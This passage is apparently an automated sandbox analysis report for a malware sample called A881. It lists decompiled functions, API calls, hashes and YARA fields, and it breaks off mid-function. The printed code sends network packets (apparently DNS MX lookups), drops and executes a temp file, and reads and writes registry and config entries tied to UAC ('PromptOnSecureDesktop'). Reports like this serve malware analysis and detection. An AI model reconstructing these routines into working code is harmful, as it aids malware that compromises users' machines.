			E004026FF(intOrPtr* __eax, intOrPtr _a4, intOrPtr _a8, long _a12) {
				long* _t33;
				long _t35;
				long* _t36;
				long _t37;
				long _t38;
				short _t39;
				short _t40;
				char _t42;
				intOrPtr _t43;
				void* _t48;
				long* _t49;
				long* _t51;
				long* _t52;
				long* _t53;
				long* _t54;
				void* _t55;
				long* _t56;
				long* _t57;
				long* _t60;
				intOrPtr* _t63;
				intOrPtr* _t65;
				void* _t66;

				_t65 = __eax;
				_t33 =  *0x412bf8; // 0x0
				_t42 = 0;
				if(_t33 == 0) {
					_t33 = E0040EBCC(0x400);
					_pop(_t48);
					 *0x412bf8 = _t33;
				}
				E0040EE2A(_t48, _t33, _t42, 0x400);
				_t35 = GetTickCount();
				_t49 =  *0x412bf8; // 0x0
				_t63 = __imp__#9;
				 *_t49 = _t35;
				_t36 =  *0x412bf8; // 0x0
				_t36[0] = _a12;
				_t37 =  *_t63(1);
				_t51 =  *0x412bf8; // 0x0
				_t51[1] = _t37;
				_t52 =  *0x412bf8; // 0x0
				_t38 = 0;
				_t52[1] = 0;
				_t53 =  *0x412bf8; // 0x0
				_t53[2] = 0;
				_t54 =  *0x412bf8; // 0x0
				_t54[2] = 0;
				_t60 =  *0x412bf8; // 0x0
				_t55 = 0;
				if( *_t65 != _t42) {
					do {
						_t43 =  *((intOrPtr*)(_t38 + _t65));
						_a12 = _t38;
						while(_t43 != 0) {
							if(_t43 != 0x2e) {
								_a12 = _a12 + 1;
								_t43 =  *((intOrPtr*)(_a12 + _t65));
								continue;
							}
							break;
						}
						 *((char*)(_t55 +  &(_t60[3]))) = _a12 - _t38;
						_t55 = _t55 + 1;
						while(_t38 < _a12) {
							 *((char*)(_t55 +  &(_t60[3]))) =  *((intOrPtr*)(_t38 + _t65));
							_t55 = _t55 + 1;
							_t38 = _t38 + 1;
						}
						if( *((char*)(_t38 + _t65)) == 0x2e) {
							_t38 = _t38 + 1;
						}
						_t42 = 0;
					} while ( *((intOrPtr*)(_t38 + _t65)) != 0);
				}
				 *((char*)(_t55 +  &(_t60[3]))) = _t42;
				_t24 = _t55 + 0xd; // 0xf
				_t66 = _t24;
				_t39 =  *_t63(0xf);
				_t56 =  *0x412bf8; // 0x0
				 *((short*)(_t56 + _t66)) = _t39;
				_t40 =  *_t63(1);
				_t57 =  *0x412bf8; // 0x0
				 *((short*)(_t57 + _t66 + 2)) = _t40;
				__imp__#20(_a4, 0x412bf8, _t66 + 4, _t42, _a8, 0x10);
				return 0 | _t40 <= 0x00000000;
			}

0x00402704
0x00402706
0x0040270b
0x00402715
0x00402718
0x0040271d
0x0040271e
0x0040271e
0x00402726
0x0040272e
0x00402734
0x0040273a
0x00402740
0x00402743
0x0040274e
0x00402752
0x00402754
0x0040275a
0x0040275e
0x00402764
0x00402766
0x0040276a
0x00402770
0x00402774
0x0040277a
0x0040277e
0x00402784
0x00402788
0x0040278a
0x0040278a
0x0040278d
0x004027a0
0x00402795
0x00402797
0x0040279d
0x00000000
0x0040279d
0x00000000
0x00402795
0x004027a9
0x004027ad
0x004027b9
0x004027b3
0x004027b7
0x004027b8
0x004027b8
0x004027c2
0x004027c4
0x004027c4
0x004027c5
0x004027c7
0x0040278a
0x004027ce
0x004027d2
0x004027d2
0x004027d5
0x004027d7
0x004027df
0x004027e3
0x004027e5
0x004027f0
0x00402802
0x00402815

APIs

GetTickCount.KERNEL32 ref: 0040272E
htons.WS2_32(00000001), ref: 00402752
htons.WS2_32(0000000F), ref: 004027D5
htons.WS2_32(00000001), ref: 004027E3
sendto.WS2_32(?,00412BF8,00000009,00000000,00000010,00000010), ref: 00402802

Part of subcall function 0040EBCC: GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
Part of subcall function 0040EBCC: RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Strings

0t, xrefs: 0040272E

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: htons$Heap$AllocateCountProcessTicksendto
String ID: 0t
API String ID: 1128258776-1355922044
Opcode ID: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction ID: e317574a351225f02cdc10e669db3389ba019fd1a924c3d0ab3f78f3d9a30560
Opcode Fuzzy Hash: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction Fuzzy Hash: B8313A342483969FD7108F74DD80AA27760FF19318B19C07EE855DB3A2D6B6E892D718

Uniqueness

Uniqueness Score: -1.00%

Function 006C9395, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 006C93AF
GetModuleFileNameA.KERNEL32(00000000), ref: 006C93B6
CharToOemA.USER32(?,?), ref: 006C93C4
wsprintfA.USER32 ref: 006C93F9

Part of subcall function 006C92B4: GetTempPathA.KERNEL32(00000400,?), ref: 006C92CB
Part of subcall function 006C92B4: wsprintfA.USER32 ref: 006C9339
Part of subcall function 006C92B4: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 006C935E
Part of subcall function 006C92B4: lstrlen.KERNEL32(?,?,00000000), ref: 006C9372
Part of subcall function 006C92B4: WriteFile.KERNEL32(00000000,?,00000000), ref: 006C937D
Part of subcall function 006C92B4: CloseHandle.KERNEL32(00000000), ref: 006C9384

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 006C9431

Strings

PromptOnSecureDesktop, xrefs: 006C93E3, 006C93E8, 006C9405

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction ID: c2e3862fc67a2194a333c1d06a5cfc8cf7e0700dd8296ad4c5c9d6806c883d36
Opcode Fuzzy Hash: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction Fuzzy Hash: 810140F69001187BD761A7619D8DFEF377CDB95B01F0040A6BB49E2080DAB496C58F75

Uniqueness

Uniqueness Score: -1.00%

Function 006CAA11, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 247stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 006CAACE

Strings

localcfg, xrefs: 006CAD5B
, xrefs: 006CAB9C

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: $localcfg
API String ID: 1659193697-2018645984
Opcode ID: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction ID: b0b8866ef7fadfc7caee7b1e9ee2f979b70306139116891c559ecf00d260410b
Opcode Fuzzy Hash: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction Fuzzy Hash: E2712A72A4020CABDF219BD4DC85FFE776BEF0030DF24406EF906A2191DA619D85875B

Uniqueness

Uniqueness Score: -1.00%

Function 0040E8A1, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040E8A1(void* __edx, char _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16) {
				CHAR* _v8;
				signed int _v12;
				intOrPtr _v16;
				CHAR* _v20;
				intOrPtr _v24;
				CHAR* _v28;
				CHAR* _v32;
				intOrPtr _v36;
				char _v37;
				char _v52;
				char _v56;
				intOrPtr _t87;
				intOrPtr _t95;
				int _t126;
				void* _t136;
				void* _t138;
				CHAR* _t139;
				void* _t146;
				char _t150;
				void* _t154;
				void* _t158;
				void* _t159;

				_t146 = __edx;
				_v20 = 0;
				E0040DD05();
				_t150 = _a4;
				_t158 = E0040DD84(_t150, _a8);
				_pop(_t138);
				if(_t158 != 0) {
					L2:
					_t16 = _t158 + 0x30; // 0x30
					_v8 = E00402419(_t138, _t16,  *((intOrPtr*)(_t158 + 0x24)), _a12);
					_t21 = lstrlenA(_a12) + 1; // 0x1
					_t136 = _t21;
					_t87 = lstrlenA(_a16) + _t136 + 1;
					_v16 = _t87;
					if(_v8 == 0) {
						_t139 =  *((intOrPtr*)(_t158 + 0x24));
						_v12 = _v12 & 0x00000000;
						_v8 = _t139;
						_t152 = _t139;
					} else {
						_t126 = lstrlenA(_v8);
						_t152 = _v8 - _t136 - _t158 + 0xffffffd0;
						_v12 = _t126 + _t136 + 1;
						_t87 = _v16;
						_v8 = _v8 - _t136 - _t158 + 0xffffffd0;
					}
					if(_v12 == _t87) {
						E0040EE08(_t152 + _t158 + 0x30, _a12, _t136);
						E0040EE08(_t152 + _t136 + _t158 + 0x30, _a16, _v16 - _t136);
						_t77 = _t158 + 0x30; // 0x30
						_t95 = E004024C2(_t77,  *((intOrPtr*)(_t158 + 0x24)), 0);
						if( *((intOrPtr*)(_t158 + 0x20)) != _t95) {
							 *((intOrPtr*)(_t158 + 0x20)) = _t95;
							 *0x4136c0 = 1;
						}
					} else {
						_t41 = _t87 + 0x24; // 0x24
						_t154 = E0040EBCC( *((intOrPtr*)(_t158 + 0x24)) - _v12 + _t41);
						if(_t154 != 0) {
							_t43 = _t158 + 0xc; // 0xc
							E0040EE08(_t154, _t43,  &(_v8[0x24]));
							 *((intOrPtr*)(_t154 + 0x18)) =  *((intOrPtr*)(_t158 + 0x24)) - _v12 + _v16;
							_v20 =  &(_v8[_t154]);
							E0040EE08( &(( &(_v8[_t154]))[0x24]), _a12, _t136);
							E0040EE08( &(_v20[_t136 + 0x24]), _a16, _v16 - _t136);
							E0040EE08( &(_v20[_v16 + 0x24]),  &(( &(_v8[_v12]))[_t158 + 0x30]),  *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12);
							_t66 = _t154 + 0x24; // 0x24
							 *((intOrPtr*)(_t154 + 0x14)) = E004024C2(_t66,  *((intOrPtr*)(_t154 + 0x18)), 0);
							E0040DF4C( *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12, _t154);
							E0040EC2E(_t154);
							_v20 = 1;
						}
					}
					L10:
					E0040DD69();
					return _v20;
				}
				_v56 = _t150;
				_v28 = 0;
				_v24 = 3;
				lstrcpynA( &_v52, _a8, 0x10);
				_v37 = 0;
				_v32 = 0;
				_v36 = E004024C2( &_v20, 0, 0);
				E0040DF4C(_t146,  &_v56);
				_t158 = E0040DD84(_t150, _a8);
				_t159 = _t159 + 0x18;
				if(_t158 == 0) {
					goto L10;
				}
				goto L2;
			}

0x0040e8a1
0x0040e8ac
0x0040e8af
0x0040e8b7
0x0040e8c0
0x0040e8c3
0x0040e8c6
0x0040e917
0x0040e91a
0x0040e932
0x0040e93a
0x0040e93a
0x0040e943
0x0040e947
0x0040e94a
0x0040e96a
0x0040e96d
0x0040e971
0x0040e974
0x0040e94c
0x0040e94f
0x0040e95c
0x0040e95f
0x0040e962
0x0040e965
0x0040e965
0x0040e979
0x0040ea3a
0x0040ea4f
0x0040ea59
0x0040ea5d
0x0040ea68
0x0040ea6a
0x0040ea6d
0x0040ea6d
0x0040e97f
0x0040e985
0x0040e98f
0x0040e994
0x0040e9a1
0x0040e9a6
0x0040e9b8
0x0040e9c0
0x0040e9c7
0x0040e9dd
0x0040ea02
0x0040ea0c
0x0040ea16
0x0040ea19
0x0040ea22
0x0040ea28
0x0040ea28
0x0040e994
0x0040ea77
0x0040ea77
0x0040ea83
0x0040ea83
0x0040e8d1
0x0040e8d4
0x0040e8d7
0x0040e8de
0x0040e8ea
0x0040e8ed
0x0040e8f5
0x0040e8fc
0x0040e90a
0x0040e90c
0x0040e911
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

Part of subcall function 0040DD84: lstrcmpiA.KERNEL32(80000011,00000000,00000108,80000001,00000000,0040DE62,80000001,80000005,00000108,00000000,000000E4,00000000,?,0040E3A7,000000F0), ref: 0040DDB5

lstrcpynA.KERNEL32(?,00401E84,00000010,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?), ref: 0040E8DE
lstrlenA.KERNEL32(?,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E935
lstrlenA.KERNEL32(00000001,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?,0000000A), ref: 0040E93D
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E94F

Strings

localcfg, xrefs: 0040E8AB
flags_upd, xrefs: 0040E8A7

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: lstrlen$CountCurrentExchangeInterlockedThreadTicklstrcmpilstrcpyn
String ID: flags_upd$localcfg
API String ID: 204374128-3505511081
Opcode ID: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction ID: 4a5a107d8aad74d0ab91cd578fe54778089971c235e688b3f19fdb3cdc8cf470
Opcode Fuzzy Hash: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction Fuzzy Hash: A5514F7290020AAFCB00EFE9C985DAEBBF9BF48308F14452EE405B3251D779EA548B54

Uniqueness

Uniqueness Score: -1.00%

Function 006CE8A4, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 96stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006CDF55: GetCurrentThreadId.KERNEL32 ref: 006CDFA3

lstrcmp.KERNEL32(00410178,00000000), ref: 006CE8E3
lstrcpyn.KERNEL32(00000008,00000000,0000000F,?,00410170,00000000,?,006C6111), ref: 006CE939
lstrcmp.KERNEL32(?,00000008), ref: 006CE972

Strings

A, xrefs: 006CE949, 006CE94E
A, xrefs: 006CE8AF, 006CE8B6, 006CE91F, 006CE981
A, xrefs: 006CE989

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: lstrcmp$CurrentThreadlstrcpyn
String ID: A$ A$ A
API String ID: 2920362961-1846390581
Opcode ID: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction ID: d47dea64da2acf7c5856239d85f5e121fbc2a8da8cebeb971ee81be0e703436e
Opcode Fuzzy Hash: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction Fuzzy Hash: 4B3198326007069BCB718F64D884BB67BFAEB09320F14852FE65587691E772E884CB85

Uniqueness

Uniqueness Score: -1.00%

Function 006C6DF7, Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 006C6E02

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Code
String ID:
API String ID: 3609698214-0
Opcode ID: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction ID: 402366f87c4d8c1997249e7e3a3f63de149b4a7f3129c275e4262a9758f939bd
Opcode Fuzzy Hash: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction Fuzzy Hash: 9D214F76108215BFDB119BA4EC49FEF3FAEDB4D7A4B20852EF502D1061EB71CA40966C

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD05, Relevance: 9.0, APIs: 6, Instructions: 34
threadsleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DD05() {
				long _t4;
				long _t10;

				_t10 = GetTickCount();
				while(InterlockedExchange(0x4136b4, 1) != 0) {
					if(GetCurrentThreadId() !=  *0x4136b8) {
						if(GetTickCount() - _t10 >= 0x2710) {
							 *0x4136bc =  *0x4136bc & 0x00000000;
						} else {
							Sleep(0);
							continue;
						}
					}
					L7:
					_t4 = GetCurrentThreadId();
					 *0x4136bc =  *0x4136bc + 1;
					 *0x4136b8 = _t4;
					return _t4;
				}
				goto L7;
			}

0x0040dd17
0x0040dd41
0x0040dd2c
0x0040dd37
0x0040dd4c
0x0040dd39
0x0040dd3b
0x00000000
0x0040dd3b
0x0040dd37
0x0040dd53
0x0040dd53
0x0040dd59
0x0040dd62
0x0040dd68
0x0040dd68
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040DD0F
GetCurrentThreadId.KERNEL32 ref: 0040DD20
GetTickCount.KERNEL32 ref: 0040DD2E
Sleep.KERNEL32(00000000,?,74E043E0,?,00000000,0040E538,?,74E043E0,?,00000000,?,0040A445), ref: 0040DD3B
InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
GetCurrentThreadId.KERNEL32 ref: 0040DD53

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: CountCurrentThreadTick$ExchangeInterlockedSleep
String ID:
API String ID: 3819781495-0
Opcode ID: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction ID: 5047c4a85d7ce053583ecb6bfb553561e79882e3d1eaa06aec664d00f8baf4e0
Opcode Fuzzy Hash: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction Fuzzy Hash: 1AF0E971604204AFD7505FA5BC84BB53FA4EB48353F008077E109D22A8C77455898F2E

Uniqueness

Uniqueness Score: -1.00%

Function 004080C9, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004080C9(int* __ecx) {
				int _v8;
				void* _v12;
				int _v16;
				char _v20;
				char _v52;
				char _v312;
				void* _t27;
				void* _t31;
				char* _t35;
				char* _t42;
				char* _t45;
				intOrPtr* _t49;
				intOrPtr _t52;
				intOrPtr _t57;
				void* _t60;
				intOrPtr _t63;
				void* _t65;
				void* _t68;
				CHAR _t70;
				intOrPtr _t71;

				_t56 = __ecx;
				_v8 = 0;
				 *0x412c3c = 0;
				 *0x412c38 = 0;
				if(E00406EC3() != 0) {
					_t27 = E0040704C(0x410264, 0, 0,  &_v312,  &_v52);
					_t65 = _t65 + 0x14;
					if(_t27 <= 0 || _v312 == 0 || _v52 == 0) {
						goto L20;
					} else {
						_t35 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t68 = _t65 + 0x14;
						if(RegOpenKeyExA(0x80000001, _t35, 0, 0x101,  &_v12) != 0) {
							L19:
							E0040EE2A(_t56, 0x4122f8, 0, 0x100);
							_t65 = _t68 + 0xc;
							goto L20;
						}
						if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, 0,  &_v8) != 0 || _v16 != 1 || _v8 <= 0) {
							L15:
							_t42 =  *0x412c3c; // 0x0
							if(_t42 == 0) {
								goto L18;
							}
							E0040EC2E(_t42);
							 *0x412c3c = 0;
							goto L17;
						} else {
							_t45 = E0040EBCC(_v8);
							_pop(_t56);
							 *0x412c3c = _t45;
							if(_t45 == 0) {
								L18:
								RegCloseKey(_v12);
								goto L19;
							}
							_t56 =  &_v8;
							if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, _t45,  &_v8) != 0) {
								goto L15;
							}
							_t49 =  &_v312;
							_t60 = _t49 + 1;
							do {
								_t57 =  *_t49;
								_t49 = _t49 + 1;
							} while (_t57 != 0);
							_t52 = E0040EBCC(_t49 - _t60 + 1);
							_pop(_t56);
							 *0x412c38 = _t52;
							if(_t52 == 0) {
								goto L18;
							}
							E0040EF00(_t52,  &_v312);
							L17:
							_pop(_t56);
							goto L18;
						}
					}
				} else {
					E00407EE6(_t56);
					L20:
					_t70 =  *0x4121a8; // 0x0
					if(_t70 != 0) {
						_t71 =  *0x4121a4; // 0x0
						if(_t71 == 0) {
							_t31 = E0040675C(0x4121a8,  &_v20, 0);
							_t61 = _t31;
							if(_t31 != 0) {
								_t63 = _v20;
								 *0x4122d4 = E004024C2(_t61, _t63, 0);
								 *0x4121a4 = _t63;
								E0040EC2E(_t61);
							}
						}
					}
					return 1;
				}
			}

0x004080c9
0x004080d7
0x004080da
0x004080e0
0x004080ed
0x0040810b
0x00408110
0x00408115
0x00000000
0x00408130
0x00408151
0x00408156
0x00408167
0x00408216
0x0040821d
0x00408222
0x00000000
0x00408222
0x0040818b
0x004081f7
0x004081f7
0x004081fe
0x00000000
0x00000000
0x00408201
0x00408206
0x00000000
0x00408198
0x0040819b
0x004081a0
0x004081a1
0x004081a8
0x0040820d
0x00408210
0x00000000
0x00408210
0x004081aa
0x004081c2
0x00000000
0x00000000
0x004081c4
0x004081ca
0x004081cd
0x004081cd
0x004081cf
0x004081d0
0x004081d8
0x004081dd
0x004081de
0x004081e5
0x00000000
0x00000000
0x004081ef
0x0040820c
0x0040820c
0x00000000
0x0040820c
0x0040818b
0x004080ef
0x004080ef
0x00408225
0x00408225
0x0040822b
0x0040822d
0x00408233
0x0040823f
0x00408244
0x0040824b
0x0040824d
0x00408259
0x0040825e
0x00408264
0x00408269
0x0040824b
0x00408233
0x00408273
0x00408273

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 0040815F
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 00408187
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 004081BE
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 00408210

Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000080,?,74E043E0,00000000), ref: 0040677E
Part of subcall function 0040675C: CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,74E043E0,00000000), ref: 0040679A
Part of subcall function 0040675C: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,74E043E0,00000000), ref: 004067B0
Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000002,?,74E043E0,00000000), ref: 004067BF
Part of subcall function 0040675C: GetFileSize.KERNEL32(000000FF,00000000,?,74E043E0,00000000), ref: 004067D3
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,74E043E0,00000000), ref: 00406807
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040681F
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,74E043E0,00000000), ref: 0040683E
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040685C

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Strings

PromptOnSecureDesktop, xrefs: 0040814B, 00408150, 0040821C

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: File$AttributesCreateHeapPointerQueryReadValue$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 124786226-2980165447
Opcode ID: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction ID: c6ff5cc28a73505882571aaa3479db7aabb841166acb9389a4089cab67cb233b
Opcode Fuzzy Hash: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction Fuzzy Hash: 6641A2B1801109BFEB10EBA19E81DEF777CDB04304F1448BFF545F2182EAB85A948B59

Uniqueness

Uniqueness Score: -1.00%

Function 004350A4, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00435118
__aullrem.LIBCMT ref: 004352E5
__aulldiv.LIBCMT ref: 00435307

Strings

0, xrefs: 004350D3
9, xrefs: 00435318

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: bfbcba11c80bff383e639ac83f0e674f3b48becf6fda37fabb7fba7b4f58a35d
Instruction ID: f6a7d5e17ff6a7c67dd0b62846aa385e257ad6d4274475d16703d7e9648d6dc3
Opcode Fuzzy Hash: bfbcba11c80bff383e639ac83f0e674f3b48becf6fda37fabb7fba7b4f58a35d
Instruction Fuzzy Hash: F44106B1D05629DFDF24CF88C889BAEB7B5BB48304F2495DAD408A7241C7389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00427CD5, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427D49
__aullrem.LIBCMT ref: 00427F16
__aulldiv.LIBCMT ref: 00427F38

Strings

9, xrefs: 00427F49
0, xrefs: 00427D04

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: c95c1c97fcdc506e330ee6b5850d880ca2d4116ecbab7ddb9671f8247ded9fd2
Instruction ID: 1a470e4996c16d722f9bf3675f83d81f4b517e1fc8f426ba864065480796a226
Opcode Fuzzy Hash: c95c1c97fcdc506e330ee6b5850d880ca2d4116ecbab7ddb9671f8247ded9fd2
Instruction Fuzzy Hash: F34103B1E182298FDB64DF48D989BAEB7B5BF84300F5045DAE049AB241C7389E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0043C359, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C3C0
__aullrem.LIBCMT ref: 0043C590
__aulldiv.LIBCMT ref: 0043C5B2

Strings

', xrefs: 0043C359
9, xrefs: 0043C5C3

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 640afffba0935bbe6b6bf5304f1230b54a4b8383186dbe245a40224a40a2e979
Instruction ID: ab14458cca7a9388e42115a01851b366fe631013e128b57553b260d62b13f67a
Opcode Fuzzy Hash: 640afffba0935bbe6b6bf5304f1230b54a4b8383186dbe245a40224a40a2e979
Instruction Fuzzy Hash: BD4137B1E002299FDB24CF48C881BAEB7B5FF89314F10509AD148BB241D778AE81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0040E095, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E095(void* _a4, char* _a8, intOrPtr* _a12, char* _a16, int _a20) {
				int _v8;
				char* _v12;
				void* _v16;
				char _v48;
				intOrPtr* _t34;
				int _t50;
				void* _t52;
				intOrPtr _t53;
				int _t57;
				int _t58;
				void* _t59;
				void* _t60;
				void* _t61;

				_t57 = 0;
				if(RegCreateKeyExA(_a4, _a8, 0, 0, 0, 0x20106, 0,  &_v16, 0) != 0) {
					return 0;
				}
				_v12 = _a16;
				_t34 = _a12;
				_t52 = _t34 + 1;
				do {
					_t53 =  *_t34;
					_t34 = _t34 + 1;
				} while (_t53 != 0);
				_t55 = _t34 - _t52;
